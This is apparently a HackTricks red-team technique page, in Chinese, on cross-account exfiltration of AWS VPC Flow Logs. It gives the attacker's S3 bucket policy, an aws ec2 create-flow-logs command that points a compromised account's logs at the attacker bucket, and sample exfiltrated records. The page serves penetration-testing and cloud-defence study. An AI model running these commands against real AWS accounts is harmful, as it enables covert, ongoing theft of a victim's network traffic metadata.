AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

摘要

滥用 ec2:CreateFlowLogs 将 VPC、子网或 ENI 的 flow logs 直接导出到攻击者控制的 S3 存储桶。一旦 delivery role 被配置为写入外部存储桶,受监控资源上看到的每个连接都会从受害者账户中流出。

前提条件

  • 受害者主体:ec2:CreateFlowLogsec2:DescribeFlowLogsiam:PassRole(如果需要/创建交付角色)。
  • 攻击者存储桶:S3 策略信任 delivery.logs.amazonaws.com 并允许 s3:PutObjectbucket-owner-full-control
  • 可选:如果导出到 CloudWatch 而不是 S3,则需要 logs:DescribeLogGroups(此处不需要)。

攻击步骤

  1. 攻击者 在攻击者账号中准备一个 S3 存储桶策略,允许 VPC Flow Logs delivery service 写入对象。应用前替换占位符:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

从 attacker account 应用:

aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. 受害者 (被妥协的主体) 创建了指向攻击者 bucket 的 flow logs:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

几分钟内,flow log 文件会出现在 attacker bucket 中,包含监控的 VPC/subnet 中所有 ENIs 的连接。

证据

写入到 attacker bucket 的示例 flow log 记录:

version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Bucket 列表证明:

aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

影响

  • 持续的 network metadata exfiltration (source/destination IPs, ports, protocols) 针对被监控的 VPC/subnet/ENI。
  • 允许进行流量分析、识别敏感服务,并可能从受害者账号外对 security group misconfigurations 进行 hunting。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks